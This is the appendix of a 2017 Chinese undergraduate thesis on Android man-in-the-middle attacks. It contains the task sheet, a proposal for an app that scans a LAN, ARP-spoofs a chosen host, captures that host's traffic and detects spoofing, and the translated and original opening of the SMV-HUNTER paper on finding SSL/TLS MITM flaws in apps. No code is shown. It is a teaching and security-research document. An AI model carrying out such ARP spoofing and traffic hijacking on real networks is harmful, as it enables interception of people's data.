北京信息科技大学

毕业设计（论文）附录

题　　目： 安卓中间人攻击的研究与实现

学　　院： 计算机学院

专　　业： 计算机科学与技术

学生姓名： 幸小文 **班级/学号** 计科 1302/2013011172

指导老师/督导老师： 路旭强

起止时间： 2017 年 2 月 20 日 至 2017 年 6 月 2 日

目　录

附件 1

毕业设计(论文)任务书

学院：计算机学院　　**专业：**计算机科学与技术　　**班级：**计科 1302

<table>
<tr><td colspan="2">学生情况</td><td colspan="3">指导教师情况</td><td>题目类型</td></tr>
<tr><td>姓 名</td><td>学 号</td><td>姓 名</td><td>职称</td><td>单　位</td><td>理论研究 □
科研开发 □</td></tr>
<tr><td>幸小文</td><td>2013011172</td><td>路旭强</td><td>讲师</td><td>计算机学院</td><td>工程设计 √
来自科研课题：纵向 □ / 横向 □</td></tr>
<tr><td>题目</td><td colspan="4">安卓中间人攻击的研究与实现</td><td>是否实物型毕业设计：是□ / 否■</td></tr>
<tr><td>主要内容以及目标</td><td colspan="5">主要内容：针对安卓系统局域网进行攻防，研究中间人攻击（MITM）的原理并在安卓系统上实现中间人攻击。

任务目标：1）学习并研究中间人攻击的原理。
2）在安卓系统上实现中间人攻击中的 ARP 欺骗和数据劫持。</td></tr>
<tr><td>成果形式</td><td colspan="5">成果形式：（1）提交毕业设计论文及设计成果；
（2）提交核心程序清单。
验收方式：设计成果演示、答辩。</td></tr>
<tr><td>基本要求</td><td colspan="5">(1)设计可在安卓模拟器上使用多种编程语言、支持库和开发工具，需要有明确、清晰的设计思路，编码规范正确，有必要的测试和调试手段，系统设计灵活，具有可扩充性。(2)设计及调试相关的数据自拟。(3)调试所用设备为一台 PC 机。</td></tr>
<tr><td>实习调研要求</td><td colspan="5">无</td></tr>
</table>

主要参考文献	［1］ Mayank, Aggarwal, 小小杉. 基于智能手机设备的中间人攻击技术[J]. 黑客防线, 2010(3):11-15. ［2］ 杨萍, 李杰. 基于 ARP 欺骗的中间人攻击的分析与研究[J]. 计算机时代, 2007(5):26-28. ［3］ 卿斯汉. Android 安全研究进展[J]. 软件学报, 2016, 27(1):45-71. ［4］ 曹刚. 解析中间人攻击原理[J]. 计算机与网络, 2014(22):48-48. ［5］ Yvo Desmedt. Man-in-the-Middle Attack[J]. Encyclopedia of Cryptography & Security, 2011:759-759. ［6］ Sounthiraraj D, Sahs J, Greenwood G, et al. SMV-HUNTER: Large Scale, Automated Detection of SSL/TLS Man-in-the-Middle Vulnerabilities in Android Apps[C]// Network and Distributed System Security Symposium. 2014.

主要仪器设备或开发环境	开发语言：Java	开发工具：Eclipse + Android SDK
	硬件环境：PC 机	操作系统：windows7
	运行环境：安卓	

毕业设计（论文）开始日期	2017 年 2 月 20 日	毕业设计（论文）完成日期	2017 年 6 月 2 日

毕业设计（论文）进度计划（起止时间、工作内容）

第 1-2 周	调研、构思初步设计方案、工具环境选择、准备开题报告
第 3 周	工具软件下载、安装，周末前提交开题报告最终稿
第 4 周	做进一步的需求分析，搭建开发环境，熟悉开发工具，构思总体设计的框架，准备前期的开题报告和任务书检查
第 5 周	梳理设计中的关键步骤并给出主要技术难点初步的解决思路，准备系统的详细设计
第 6 周	系统详细设计阶段，编码开始
第 7 周	编码
第 8 周	子模块编码与单元调试，准备学校安排的中期检查
第 9-10 周	子模块编码及单元调试
第 11 周	详细设计阶段，完成各子模块的编码
第 12 周	完成系统的详细设计和调试，对各子模块在单元调试的基础上进行总体调试
第 13 周	撰写毕设论文，周末前提交毕设论文初稿，对系统做完善性修改
第 14 周	指导教师审阅论文、验收成果，根据指导教师意见修改论文并对系统做最终的完善性修改。周末前提交论文最终稿(包括电子版)和软件成果
第 15 周	评阅教师审阅论文、验收成果，完成论文检测。开始答辩准备
第 16 周	准备答辩及答辩

指导教师（签字）： 2017 年 2 月 20 日

督导教师（签字）： 年 月 日

学院毕业设计（论文）领导小组审查意见：

组长（签字）： 年 月 日

附件 2

安卓中间人攻击的研究与实现

开题报告

计科 1302（2013011172） 幸小文
指导教师 ： 路旭强

一、综述

1.本课题研究的意义

随着宽带无线接入技术和移动终端技术的飞速发展,WIFI 网络已经成为人们日常生活必须。在无线局域网中，由于采用无线的传输方式和传输介质的无形，攻击方式也更加的隐蔽。其中，中间人攻击（MITM）由于攻击方式简单，难于察觉等特点，成为危害无线局域网安全的主要方式。开发一款方便检测局域网的安全性，检测安卓手机对中间人攻击的防御性能，以及方便安全人员对中间人攻击过程的学习和测试的 APP 是很有必要的。

2.研究的现状及已有成果

ARP 协议是一个高效的数据链路层协议，但也是一个“无状态” 协议。任意一个主机都可以向被攻击主机发送假冒的 ARP 应答包，ARP 协议没有认证机制。目前，对 ARP 欺骗的防御可以采用静态绑定的方式，即绑定 IP-MAC，使其不会动态更新。也可以定期向局域网发送 ARP 请求包来验证 ARP 缓存表是否正确，或定期检查 ARP 是否有两个 IP 对应一个 MAC 来检测是否受到攻击。

二、研究内容

1.研究方向

开发基于安卓系统的中间人攻击和检测的应用。

2.研究内容

理解局域网数据的传输协议，研究 ARP(地址解析协议)的工作原理和 ARP 欺骗攻击的方式和过程。开发安卓 APP 来展示 ARP 攻击的过程和检测。

3.系统功能

①局域网扫描功能

该功能主要是获取本机 ipv4 地址，网关和局域网内所有活动的主机 ipv4 地址。

②ARP 欺骗功能

该功能主要是根据获取到的局域网主机 IP 地址，对某一主机进行 ARP 欺骗攻击。

③数据劫持

该功能就是在 ARP 欺骗的基础上，获取被攻击主机向外网发送的数据。

④检测是否受到 ARP 欺骗攻击

该功能主要是检测本机是否受到局域网内其它主机的 ARP 攻击。

三、实现方法及预期目标

1.初步方案

1）对中间人攻击中的 ARP 攻击进行学习，了解其原理。

2）对具体问题进行抽象，形成总体概念和结构，并搭建基本开发和测试环境。

3）完成 APP 的原型设计，然后根据原型完成具体的功能。

4）对 APP 进行整体测试和单元测试，修复 bug。

2.重点

本课题的重点在于理解局域网主机之间是怎么通信的，以及 ARP 报文的接受和发送。

理解 ARP 欺骗的原理和怎么实现对局域网主机的 ARP 欺骗是重点。

3.难点

本课题的难点在于怎么用 JAVA 进行底层操作，JAVA 提供了 java.lang.RunTime.exec()方法，通过它可以执行系统命令和自己添加的命令。我设想通过移植 linux 上的 arpspoof 命令以完成 ARP 欺骗攻击。

4.环境

硬件：PC 机

软件：

①操作系统：windows7

②开发语言：JAVA

JAVA 是一种夸平台的开发语言，Android 系统就是在 linux 上结合 java 开发的。

③开发工具：Eclipse + Android SDK + Android NDK

Eclipse 是一个优秀的开源工具平台，可以自己添加插件来增加功能，安装 ADT 插件可以配置开发 Android 应用的开发环境。

④测试环境：VirtualBox + Android x86

VirtualBox 是一款开源虚拟机软件，可以安装基于 x86 架构的系统。

四、对进度的具体安排

第 1-2 周　调研、构思初步设计方案、工具环境选择、准备开题报告

第 3 周　工具软件下载、安装，周末前提交开题报告最终稿

第 4 周　做进一步的需求分析，搭建开发环境，熟悉开发工具，构思总体设计的框架，准备前期的开题报告和任务书检查

第 5 周　梳理设计中的关键步骤并给出主要技术难点初步的解决思路，准备系统的详细设计

第 6 周　系统详细设计阶段，编码开始

第 7 周　编码

第 8 周　子模块编码与单元调试，准备学校安排的中期检查

第 9-10 周　子模块编码及单元调试

第 11 周　详细设计阶段，完成各子模块的编码

第 12 周　完成系统的详细设计和调试，对各子模块在单元调试的基础上进行总体调试

第 13 周　撰写毕设论文，周末前提交毕设论文初稿，对系统做完善性修改

第 14 周　指导教师审阅论文、验收成果，根据指导教师意见修改论文并对系统做最终的完善性修改。周末前提交论文最终稿(包括电子版)和软件成果

第 15 周　评阅教师审阅论文、验收成果，完成论文检测。开始答辩准备

第 16 周　准备答辩及答辩

五、参考文献

[1] Mayank, Aggarwal, 小小杉. 基于智能手机设备的中间人攻击技术[J]. 黑客防线, 2010(3):11-15.

[2] 杨萍, 李杰. 基于ARP欺骗的中间人攻击的分析与研究[J]. 计算机时代, 2007(5):26-28.

[3] 卿斯汉. Android安全研究进展[J]. 软件学报, 2016, 27(1):45-71.

[4] 曹刚. 解析中间人攻击原理[J]. 计算机与网络, 2014(22):48-48.

[5] 刘桂泽，耿琛. 无线网络的中间人攻击研究[J]. 《信息安全研究》, 2016, 2(4):361-366.

[6] 郭浩，郭涛. 一种基于ARP欺骗的中间人攻击方法及防范[J]. 《信息安全与通信保密》, 2005(10):66-68.

[7] 刘衍斌，王岳斌，陈岗. 基于ARP欺骗的中间人攻击的检测与防范[J]. 《微计算机信息》, 2012(8):136-138.

[8] 储柱学，黄莺. 局域网下基于ARP欺骗的中间人攻击与防御[J]. 《佳木斯教育学院学报》, 2012(8):428-428.

[9] Yvo Desmedt. Man-in-the-Middle Attack[J]. Encyclopedia of Cryptography & Security, 2011:759-759.

[10] Sounthiraraj D, Sahs J, Greenwood G, et al. SMV-HUNTER: Large Scale,Automated Detection of SSL/TLS Man-in-the-Middle Vulnerabilities in Android Apps[C]// Network and Distributed System Security Symposium. 2014.

指导教师：（签署意见并签字）

幸小文同学对设计相关内容做了较为细致的调研,给出了实施的初步方案,设计思路基本合理。报告的格式、内容符合基本要求，同意该同学开题。

路旭强　2017 年 3 月 9 日

督导教师：（签署意见并签字）　年　月　日

领导小组审查意见：

审查人签字：　年　月

附件 3

英文文献译文

SMV-HUNTER:大规模，自动检测安卓 APP 中的 SSL/TLS 中间人漏洞

David Sounthiraraj Justin Sahs Garret Greenwood Zhiqiang Lin Latifur Khan
Department of Computer Science, The University of Texas at Dallas
{david.sounthiraraj, justin.sahs, garrett.greenwood, zhiqiang.lin, lkhan}@utdallas.edu

摘要

很多安卓应用使用 SSL/TLS 来安全地传输敏感信息。然而，开发者们经常提供他们自己对标准 SSL/TLS 证书验证过程的实现。不幸的是，很多这样定制的实现存在巧妙的 bugs、自签署证书的内置异常、或盲目断言所有证书有效，给 SLL/TLS 中间人攻击留下了很多安卓应用漏洞。在这篇文章中，我们提出了 SMV-HUNTER，一个结合静态和动态分析，自动、大规模识别漏洞的系统。当给出了一个自定义验证过程，静态组件就进行检测，从而识别潜在的有漏洞的应用，并提取信息来指导动态分析，之后使用用户的接口和自动化技术在活跃的中间人攻击下来触发潜在的漏洞代码。我们已经实现了 SMV-HUNTER 且在从谷歌应用市场下载的 23418 个应用上进行了评估，通过静态分析，其中有 1453 个应用被认为有潜在的漏洞，运行在 16 个并行线程上，平均开销为每 4 秒一个应用程序。在这些存在潜在漏洞的应用中，通过动态分析有 726 个应用被证实有漏洞，平均开销为 44 秒每个应用，运行在 8 个并行的模拟器。

第一章 简介

最近智能手机的增长让很多软件代理商扩展他们的服务到移动领域。只是在谷歌应用市场就有超过一百万的安卓应用，有超过 500 亿的下载量。对许多应用程序，通过网络对数据的安全传输是主要的顾虑。为了确保安全，许多应用使用 HTTPS 协议来传输敏感数据，它被设计用来保证安全，哪怕一个恶意攻击者能够拦截和修改应用和服务器间的网络信息。

不幸的是，如果一个客户端未能正确的验证 SSL/TLS(henceforth SSL for brevity)证书，将导致一个 SSL 中间人漏洞。在中间人攻击中，一个攻击者可以拦截和修改客户端和服务器间的网络信息。如果客户端正确的验证证书，攻击者不能破译网络信息。然而，如果客户端接收到没有校验他们签名的证书，或者接收到没有提示用户自签署的证书，攻击者可以通过提交诈骗证书来冒充服务器。在这个例子中，攻击者可以用他们自己的诈骗证书解密网络信息，随意的读取和修改。最近，一些努力集中在分析谷歌应用市场中应用的中间人攻击漏洞的普遍率。特别的，乔治耶夫等人，论证了 SSL 证书验证是完全地破碎在各种流行安全关键的应用和库中。类似的，法尔等人，在安卓应用中深入专研了 SSL 中间人漏洞。他们开发了一款工具叫做 Mallodroid，他们使用 Mallodroid 静态分析了 13500 款安卓应用，得自这个分析有 1074 款应用被发现存在潜在漏洞。从这些存在潜在漏洞应用，作家们关闭了 100 款流行的应用且进行了人工检查，发现了其中有 41 款应用确实是 SSL 中间人攻击漏洞。然而，这两种方法的一个缺点是依靠手工分析来识别和确认漏洞。这种方法不能简单的扩展到大市场像谷歌应用市场。

因此，为了能够自动化、大规模识别 SSL 中间人漏洞，我们需要一套新的技术和工具。这些技术的开发是本文的重点。明确的，我们提出了 SMV-HUNTER，它是一套新奇的技术为了克服安卓应用中的自动化验证 SSL 中间人漏洞的挑战。

关键观察是现有的只有静态分析是不够强大的去可靠的检测 SSL 中间人漏洞。逻辑条件、运行时数据依赖和用户交互的输出无法静态确定。这种非确定性导致静态分析的不准确性。因此，为了自动检测 SSL 中间人漏洞，我们必须包括动态分析，目标应用实际上是在执行过程中被观察到的。在这种方法中，检测漏洞的关键步骤是通过模拟用户交互来触发应用预期的漏洞行为。

在另一方面，一个纯粹的动态的方法将执行穷举搜索所有可能的用户界面（UI）路径，这是非常慢的。此外，应用程序经常验证或转换文本输入在接受它之前。一个纯粹的动态方法难以提供有效的文本，因为它不能确定什么验证或转换应用程序将适用于文本输入。为了解决这些问题，我们提出了混合静态动态方法，其中静态分析被用来引导动态分析通过修剪搜索空间，并提供更多的有效文本。我们还开发了一种新的 UI 自动化框架，它通过与安卓窗口管理和提供无需人工干预的智能输入来分析运行中的应用程序。

综上所述，本文做了以下贡献：

1） 我们提出了 SMV-HUNTER，一个一种新的系统，用于自动化执行、大规模分析在安卓应用中的 SSL 中间人攻击漏洞。SMV-HUNTER 包含了一个静态分析组件来找出存在潜在漏洞的应用程序、确定导致漏洞行为的应用程序入口点并生产文本字段的智能输入。另一个动态分析组件用来确认漏洞。此外，SMV-HUNTER 被模块化的建立。它可以很容易的被重新用于其它的任务，例如软件测试或检测其它的漏洞。

2） 我们开发了一个完全自动化的框架来并行的运行安卓应用程序在多个模拟器上，同时收集重要

的信息，例如应用程序日志以及网络和系统调用的痕迹。

3） 我们证明了 SMV-HUNTER 的效果通过从谷歌应用市场收集的 23418 款安卓应用程序在 2012 年的七月。静态分析找出了 1453 款应用程序有潜在的漏洞,通过动态分析确认其中有 726 款有漏洞。

本文的其余部分组织如下：在第二章，我们审查了理解我们系统所需的技术背景知识；在第三章，我们给了一个我们系统的概述；在第四章，我们描述了 SMV-HUNTER 中的静态组件；在第五章，我们描述了动态组件；在第六章，我们给出了我们系统的实验评估；在第七章，我们审查了相关的工作；在第八章，我们讨论的局限性和未来的工作；最后，在第九章，我们总结了我们的论文。

第二章 背景介绍

A. SSL/TLS

RFCs 2818,2416 和 3280 列举了这些应该被遵循的规则为了建立一个安全的 SSL/TLS 连接。遵循规则的客户端检查证书链是有效的和主机名也是有效的。一个证书链是有效的如果符合下面条件：

-外链中的每个证书没有过期，并且外链的根证书来自受信任的认证机构（CA）存在于客户端的默认秘钥库（有客户端维护的可信任认证机构的列表），且如果证书链有多个证书，该链应该被验证通过检查被放在链中后立即被认证机构签署的证书。如果只有一个证书，那就是自签署的，并且因此是链中的根证书，经过上述论证。

如果证书的名称和要连接的服务器的域名相匹配，则主机名是有效的，可能包括通配符匹配。

安卓系统提供内置的 SSL 证书验证和主机验证，其包括一个秘钥库，但允许开发人员分别通过创建实现 X509TrustManager 和 HostNameVerifier 接口的类来提供自己的实现。

开发人员可能选择去重写 SSL 证书验证程序的原因有很多：

-在安卓平台的早期版本，证书验证程序有错误导致有效的证书被拒绝。

-如果一款应用连接到一个服务器，该服务器证书的根认证机构不存在于秘钥库，该应用通过内置证书验证不能建立一个安全的连接。

-为了避免为开发、测试、和用户的验收环境而买有效证书的开销，开发者们经常使用自签署的或无效的证书。

-一些流行的第三方库例如 ACRA 重写了内置 SSL 证书验证带着漏洞的实现，让任何使用这种库的应用程序存在漏洞。

这些自定义实现经常有错误，有意的接受所有自签署的证书，或者甚至只接受所有证书而不检查任何内容。在这些例子中，应用程序给 SSL 中间人攻击留下了漏洞。SMV-HUNTER 的目标是大规模的识别这些易受攻击的应用程序。

B. Android UI 组成

安卓应用的可视化组件叫做 Activities（活动界面），它创建屏幕，类似于经典桌面计算环境中的窗口。这些 Activities（活动界面）创建和组成 UI 组件或者通过在一个 XML 文件中声明，或者在运行时以动态以编程的方式生成。另外，Activities（活动界面）可以使用 fragments（帧），它是允许开发者在程序运行时定义和管理屏幕的可重复利用的 UI 组件，不用切换 Activities（活动界面）。

在一个屏幕中组成的 UI 组件可以分为三大类：可编辑的组件、可点击的组件和静态组件。可编辑组件有一个可以被改变的内部状态，例如文本框、复选框和单选按钮。可点击组件是没有状态的组件，当点击是会导致一些操作，例如按钮和链接。静态组件不响应用户的动作。有一些其它方法让操作可以被触发，例如菜单和 Home 按钮，它们在物理上与设备触摸屏截然不同。

通常，每个 Activity（活动界面）和一个屏幕相关联，但是可以为整个应用程序使用一个 Activity（活动界面）。因此，我们定义窗口（window）为在给定时间点的屏幕的显示内容。于是，一个典型的安卓应用程序 UI 由一组离散的窗口组成。具体来说，我们将 UI 表示为有向图 G，其节点对应于窗口（window），其边缘对应于可点击组件引起的动作。如果一个动作没有改变 UI 显示，

我们把它表示为一个自循环。这种抽象有助于我们紧密地表示 UI，并允许我们在图的遍历中制定我们的 UI 自动化算法。

第三章　　系统总览

在这个部分，我们在第三章 A 部分首先定义了我们的研究问题，然后在第三章 B 部分我们过了一遍挑战，和最后在第三章 C 部分给了一个我们系统的概述。

A. 问题概述

SMV-HUNTER 的目标是识别安卓应用程序中的 SMV。我们的解决方案必须是全自动的和可扩展到非常大的数据集。为此，我们有四大设计目标：

-平均：我们的目标是有一个可以被应用到整个市场的工具，这意味着它需要能够运行尽可能多的应用程序。由于许多应用程序依赖于 Android 操作系统的专有组件，这意味着我们的解决方案必须工作在一个谷歌提供的原生安卓镜像上。

-高效的：该系统应该足够高效的运行在大型应用程序上。它应该避免测试静态分析显示不是漏洞的代码路径。

-健壮的：谷歌提供的安卓模拟器和安卓调试桥（ADB）在长时间运行时会出现不稳定的问题。模拟器往往转为“离线”状态，变得无响应。系统应该能够避免那样的问题，或者检测并采取纠正措施。

-精确的：该系统应该能够检测有漏洞的应用程序且没有误报。

可以在市场层面（例如：在谷歌应用市场）使用这些满足要求的系统来执行更严格的安全性要求，或者希望在员工设备上强制执行严格安全性要求的组织：设备上的软件可能会阻止未经审查的应用程序的安装，而且当员工请求应用程序，它们可以被自动化的和高效的分析，而不需要手动维护可接受应用程序的白名单。

B. 挑战和关键技术

为了实现这些目标，我们确定了一下挑战和技术：

模拟用户交互：模拟与应用程序的用户交互需要了解屏幕上显示的内容并提供智能输入。举个例子，考虑一个网上银行应用程序的登入屏幕。一个典型的登入屏幕包括了用户名和密码文本框，可能有一个“记住我”的复选框和一个登入按钮，当点击这个按钮时将提交用户的凭据。用户通常会以这种顺序向这些元素提供输入，从用户名开始，然后点击登入按钮结束。一个有用的自动化 UI 组件应该能够模拟这种行为而不需要人的介入和引导。

在分析了用于 UI 自动化的现有工具后，我们得出了这些挑战要求新的技术的结论。尤其是谷歌的 Monkey 工具不能准确地模拟用户的受控行为，因为它提供随机的 UI 事件。另一个现有的 UI 自动化框架是 Robotium，它是一个被开发人员用来测试使用广泛的流行的工具。这个框架与安卓的仪器框架紧密结合，这导致 Robotium 测试脚本与目标应用程序紧密结合。这使得它不适合做为一个通用的 UI 自动化解决方案，因为它要求每个目标应用程序都有一个唯一的测试脚本。

管理应用程序状态：回顾第二章的 B 部分我们将一个安卓应用程序的 UI 代表为一个有向图。然后，在一个应用程序执行期间，UI 的行为就像一个状态机，应用程序的状态是当前显示的窗口。我们跟踪这个状态以便于引导我们搜索程序的 UI。我们有一组被识别为漏洞入口点的“目标”

节点，我们希望探索从这些入口点开始的程序的代码路径。为了避免花费太多时间探索任意一个入口点，我们将搜索范围限制在目标节点及其子节点上。为了执行这个限制，我们的系统必须能够检测应用程序什么时候转换到新的状态。

许多现有的系统缺少这个关键功能。尽管【41】中提出的框架通过减少导致不必要的活动界面（Activities）的所有代码路径来提供类似的功能，但是它不是通用的且需要定制的安卓系统。因此，我们的系统利用了 Android ViewServer 提供的 FocusChange 和 WindowChange 事件。

测试效率：UI 自动化通常是一个缓慢而资源密集的过程。在我们的实验中，我们发现 UI 自动化平均需要大约 45 秒才能在一个窗口上遍历所有可能的 UI 路径。为了保证可行性，我们使用静态分析技术大大减少了我们必须测试的窗口数量。我们的系统卸载每个应用程序并检查 X509TrustManager 或 HostNameVerifier 接口的自定义实现。如果任意这样的实现被发现，我们构造一个方法调用图，并跟踪有潜在漏洞代码的调用，返回到相应的窗口。我们可以排除不提供这样自定义实现的应用程序，应为它们使用（正确）内置的 SLL 证书验证过程。在重写了这些接口的应用程序中，我们的 UI 自动化组件可以将自动化限制为这些标识为调用重写的 SSL 证书验证接口的入口点窗口。

即使加速我们从静态分析的实现，可用的安卓应用程序的数量众多，使得应用程序的连续测试过于缓慢。为了实现足够的加速，使得大型市场的测试成为可能，我们必须以并行的方式测试多个应用程序。

大规模自动化：另一个关键的挑战是用于 UI 自动化的并行执行的多个安卓模拟器的业务流程。谷歌的 MonkeyRunner 工具被设计用来支持多个安卓模拟器的并行执行，但它有几个缺点，这阻止了这个工具在我们的大规模自动化
脚本中的使用。更多严重问题中的一个是缺乏错误传播。MonkeyRunner API 提供的大多数方法都没有返回值和没有抛出异常。因此，在预期操作失败的情况下，API 用户没有提供任何反馈，使得 API 不可预测。例如，press 方法将指定的按键事件发送给模拟器。如果按键事件调度失败，用户将不理会这个失败。当发生故障时，及时、明确的反馈的缺乏阻止了用户采取纠正措施。

为了解决这些问题，我们基于 Android ADB 框架建立了一个设备管理组件。它管理模拟器并编排安装应用程序的过程，执行 UI 自动化以及收集诸如应用程序日志和网络流量日志的统计信息，同时容忍模拟器的不稳定行为。

附件 4

英文文献原文

SMV-HUNTER: **Large Scale, Automated Detection of SSL/TLS Man-in-the-Middle Vulnerabilities in Android Apps**

David Sounthiraraj Justin Sahs Garret Greenwood Zhiqiang Lin Latifur Khan Department of Computer Science, The University of Texas at Dallas {david.sounthiraraj, justin.sahs, garrett.greenwood, zhiqiang.lin, lkhan}@utdallas.edu

Abstract

Many Android apps use SSL/TLS to transmit sensitive information securely. However, developers often provide their own implementation of the standard SSL/TLS certificate validation process. Unfortunately, many such custom implementations have subtle bugs, have built-in exceptions for self-signed certificates, or blindly assert all certificates are valid, leaving many Android apps vulnerable to SSL/TLS Man-in-the-Middle attacks. In this paper, we present SMV-HUNTER, a system for the automatic, large-scale identification of such vulnerabilities that combines both static and dynamic analysis. The static component detects when a custom validation procedure has been given, thereby identifying potentially vulnerable apps, and extracts information used to guide the dynamic analysis, which then uses user interface enumeration and automation techniques to trigger the potentially vulnerable code under an active Man-in-the-Middle attack. We have implemented SMV-HUNTER and evaluated it on 23,418 apps downloaded from the Google Play market, of which 1,453 apps were identified as being potentially vulnerable by static analysis, with an average overhead of approximately 4 seconds per app, running on 16 threads in parallel. Among these potentially vulnerable apps, 726 were confirmed vulnerable using our dynamic analysis, with an average overhead of about 44 seconds per app, running on 8 emulators in parallel.

I. INTRODUCTION

he recent proliferation of smartphones has led to many software vendors extending their service to the mobile domain. There are more than 1 million Android apps in the Google Play market alone, with over 50 billion downloads [38]. For many of these apps, the secure transfer of data across the network is a prime concern. To ensure security, many apps transfer sensitive data using the HTTPS protocol (HTTP over SSL/TLS), which is designed to guarantee security, even if a malicious attacker is able to intercept and modify network traffic between the app and the server.

Unfortunately, if a client fails to properly validate SSL/TLS (henceforth SSL for brevity) certificates, it may lead to an SSL Man-in-the-Middle (MITM) vulnerability [27]. In an MITM attack, an attacker is able to intercept and modify network traffic between the client and the server. Normally, if the client properly validates certificates, the attacker cannot decrypt the network traffic. However, if the client accepts certificates without checking their signatures, or if the client accepts selfsigned certificates without prompting the user, the attacker can pose as the server by presenting a fraudulent certificate. In this case, the attacker can decrypt the network traffic with her own fraudulent certificate, and can read or modify it at will.

Recently, a number of efforts have focused on analyzing the prevalence of apps vulnerable to MITM attacks in the Google Play market. In particular, Georgiev et al. demonstrated that SSL certificate validation is completely broken in various popular security-critical apps and libraries [32]. Similarly, Fahl et al. delve deep into SSL MITM Vulnerabilities (SMV in brevity) in Android apps [30]. They developed a tool called Mallodroid, which they used to statically analyze 13,500 Android apps, out of which 1,074 were found to be potentially vulnerable. From these potentially vulnerable apps, the authors chose 100 popular apps and conducted manual inspections, and found that 41 of them were truly vulnerable to SSL MITM attacks. However, a weakness of both approaches is that they rely on manual analysis to identify or confirm vulnerabilities. This methodology simply does not scale to large markets like Google Play.

Thus, to enable the automatic, large scale identification of SMV, we need a new set of techniques and tools. The development of these techniques is the focus of this paper. Specifically, we propose SMV-HUNTER, a set of novel techniques to overcome the challenges of automated SMV identification for Android apps. The key observation is that existing static analysis alone is not sufficiently powerful to reliably detect SMV. The output of logical conditions, runtime data dependency and user interaction cannot be determined statically. This non-determinism causes inaccuracy in static analysis. Therefore, in order to detect SMV automatically, we must include dynamic analysis, in which the target app is actually observed during execution. In such an approach, a critical step in detecting a vulnerability is to trigger the vulnerable behavior by simulating the user interaction that the app expects.

On the other hand, a purely dynamic approach would perform an exhaustive search of all possible user interface (UI) paths, which is prohibitively slow. Additionally, apps often validate or convert text input before accepting it. A purely dynamic approach would have difficulty supplying valid text, as it cannot determine what validation or conversion the app will apply to the input text. To address these issues, we propose a hybrid static-dynamic approach, in which static analysis is used to guide dynamic analysis by pruning the search space, and supply more valid text. We have also developed a novel UI automation

framework which intelligently analyzes the running app by interacting with the Android window manager and providing smart input without human intervention.

In summary, this paper makes the following contributions:

- We present SMV-HUNTER, a novel system for performing automatic, large-scale analysis of SMV in Android apps. SMV-HUNTER contains a static analysis component to identify potentially vulnerable apps, identify the app entry points that lead to vulnerable behavior, and generate smart input for text fields; and a dynamic analysis component to confirm the vulnerability. Additionally, SMV-HUNTER is built to be modular. It could easily be repurposed for other tasks, such as software testing or detection of other vulnerabilities.
- We develop a fully automated framework to run Android apps in parallel on multiple emulators, while collecting vital information such as app logs, and network and system call traces.
- We demonstrate the efficacy of SMV-HUNTER with 23,418 android apps collected from the Google Play market in July 2012. Static analysis identified 1,453 apps as potentially vulnerable, of which 726 were confirmed vulnerable by dynamic analysis.

The rest of this paper is organized as follows: in §II, we review the technical background knowledge required to understand our system; in §III, we give an overview of our system; in §IV, we describe the static analysis components of SMV-HUNTER; in §V, we describe the dynamic analysis components; in §VI, we present our experimental evaluation of our system; in §VII, we review related works; in §VIII, we discuss limitations and future work; finally, in §IX, we conclude our paper.

II. BACKGROUND

A. SSL/TLS

RFCs 2818, 2246 and 3280 enumerate the rules that should be followed to establish a secure SSL/TLS connection. Compliant clients must check that the certificate chain is valid, and that the hostname is valid. A certificate chain is valid if:

- Each certificate in the chain has not expired, and
- The root certificate of the chain is from a trusted Certification Authority (CA) present in the client's default keystore (a list of trusted CAs maintained by the client), and
- If the certificate chain has more than one certificate, the chain should be validated by checking that each certificate has been signed by the CA immediately after it in the chain. If there is only one certificate, it is said to be self-signed, and it is therefore the root CA in the chain, subject to the validation above.

A hostname is valid if the name in the certificate matches the domain name of the server being connected to, possibly including wildcard matching.

The Android OS provides built-in SSL certificate validation and hostname verification which includes a keystore, but allows developers to provide their own implementation by creating classes which implement the X509TrustManager and HostNameVerifier interfaces, respectively.

There are a number of reasons why a developer might choose to override the SSL certificate validation procedure:

- In early versions of the Android platform, there were errors in the SSL certificate validation procedure which caused some valid certificates to be rejected [9].
- If an app connects to a server whose certificate's root CA is not present in the keystore, the app cannot establish a secure connection using built-in certificate validation.
- To avoid the cost of procuring valid certificates for development, testing, and user acceptance environments, developers often use self-signed or invalid certificates.
- Some popular 3rd-party libraries such as ACRA override the built-in SSL certificate validation with vulnerable implementations [32], rendering any app that uses such libraries vulnerable.

These custom implementations often have errors, intentionally accept all self-signed certificates, or even just accept all certificates without checking anything [30]. In these cases, the app is left vulnerable to SSL MITM attacks. The objective of SMV-HUNTER is to identify these vulnerable apps in a large scale manner.

B. Android UI Composition

The visual components of Android apps are called activities, which create screens, which are analogous to windows in a typical desktop computing environment [1]. These activities create and compose UI components either by using declarations in an XML file, or programmatically at runtime. Additionally, activities can use fragments, which are reusable UI components which allow the developer to define and manage the screen at runtime, without switching activities [1].

The UI components that are composed on a screen can be classified into three broad

categories: editable components, clickable components, and static components. Editable components have an internal state that can be modified, such as text boxes, check boxes and radio buttons. Clickable components are components without state that cause some action when tapped, such as buttons or links. Static components do not react to user interaction. There are other ways that actions can be triggered, such as the Menu or Home buttons, which are physically distinct from the device's touchscreen. Note that SMV-HUNTER will only interact with on-screen components.

Typically, each activity is associated with one screen, but it is possible to use a single activity for the whole app [20]. We therefore define a window as the displayed content of a screen at a given point in time. Then, a typical Android app's UI will consist of a discrete collection of windows. Specifically, we represent a UI as a directed graph G, whose nodes correspond to windows, and whose edges correspond to actions caused by clickable components. If an action does not change the UI display, we represent this as a self-loop. This abstraction helps us represent complex UIs compactly, and allows us to formulate our UI Automation algorithm in terms of graph traversal.

III. SYSTEM OVERVIEW

In this section, we first define our research problem in §III-A, then walk through the challenges in §III-B, and finally give an overview of our system in §III-C.

A. Problem Statement

The goal of SMV-HUNTER is to identify SMV in Android apps. Our solution must be fully automatic and scalable to very large datasets. Towards this end, we have four major design goals:

- **Coverage:** Our goal is to have a tool that can be applied to entire markets, which means it needs to be able to run as many apps as possible. Due to the reliance of many apps on proprietary components of the Android OS, this means that our solution must work with a stock Android image provided by Google.
- **Efficiency:** The system should be efficient enough to be run on large sets of apps. It should avoid testing code paths that static analysis shows are not vulnerable.
- **Robustness:** The Android emulator [4] and Android Debug Bridge (ADB) [3] provided by Google have issues with instability when run for prolonged periods [8], [10]. The emulator tends to switch to an "offline" state, becoming unresponsive. The system should be able to avoid such problems or detect them and take corrective action.
- **Accuracy:** The system should be able to detect vulnerable apps without false positives.

